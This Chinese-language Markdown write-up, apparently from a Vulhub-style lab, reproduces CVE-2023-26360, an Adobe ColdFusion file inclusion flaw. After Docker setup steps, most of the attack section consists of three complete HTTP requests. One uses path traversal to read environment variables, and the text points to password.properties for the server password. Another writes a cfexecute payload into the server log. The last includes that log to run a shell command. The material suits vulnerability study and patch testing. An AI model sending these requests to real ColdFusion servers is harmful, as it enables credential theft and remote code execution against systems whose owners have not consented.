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82 lines
3.2 KiB
Markdown
82 lines
3.2 KiB
Markdown
# Adobe ColdFusion 本地文件包含漏洞 CVE-2023-26360
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## 漏洞描述
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Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。
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Adobe ColdFusion 2018 Update 15 和 2021 Update 5 版本及以前，存在一处文件包含漏洞。攻击者可以利用该漏洞在服务器上执行任意代码。
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参考链接：
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- [https://xz.aliyun.com/t/13392](https://xz.aliyun.com/t/13392)
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## 环境搭建
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Vulhub启动一个Adobe ColdFusion 2018.0.15服务器：
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```
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docker compose up -d
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```
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等待一段时间后环境启动成功，访问`http://your-vps-ip:8500/CFIDE/administrator/index.cfm`，输入密码`vulhub`，即可成功安装Adobe ColdFusion。
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## 漏洞复现
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发送如下请求即可读取文件`/proc/self/environ`：
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```
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POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
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Host: your-vps-ip:8500
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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Content-Length: 82
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Content-Type: application/x-www-form-urlencoded
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_variables={"_metadata":{"classname":"../../../../../../../../proc/self/environ"}}
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```
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可以在返回包中找到Adobe ColdFusion的根目录`/opt/coldfusion/cfusion`：
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从`../../../../../../../../opt/coldfusion/cfusion/lib/password.properties`中读取服务器密码：
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想要利用文件包含漏洞执行任意代码，需要先发送如下请求来写入CFM脚本：
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```
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POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
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Host: your-vps-ip:8500
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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Content-Length: 67
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Content-Type: application/x-www-form-urlencoded
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_variables=<cfexecute name='id' outputFile='/tmp/awesome_poc' ></cfexecute>
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```
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然后包含日志文件，执行该CFM代码：
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```
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POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
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Host: your-vps-ip:8500
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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Content-Length: 111
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Content-Type: application/x-www-form-urlencoded
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_variables={"_metadata":{"classname":"../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log"}}
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```
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可见，`id`命令的执行结果已经被写入`/tmp/awesome_poc：
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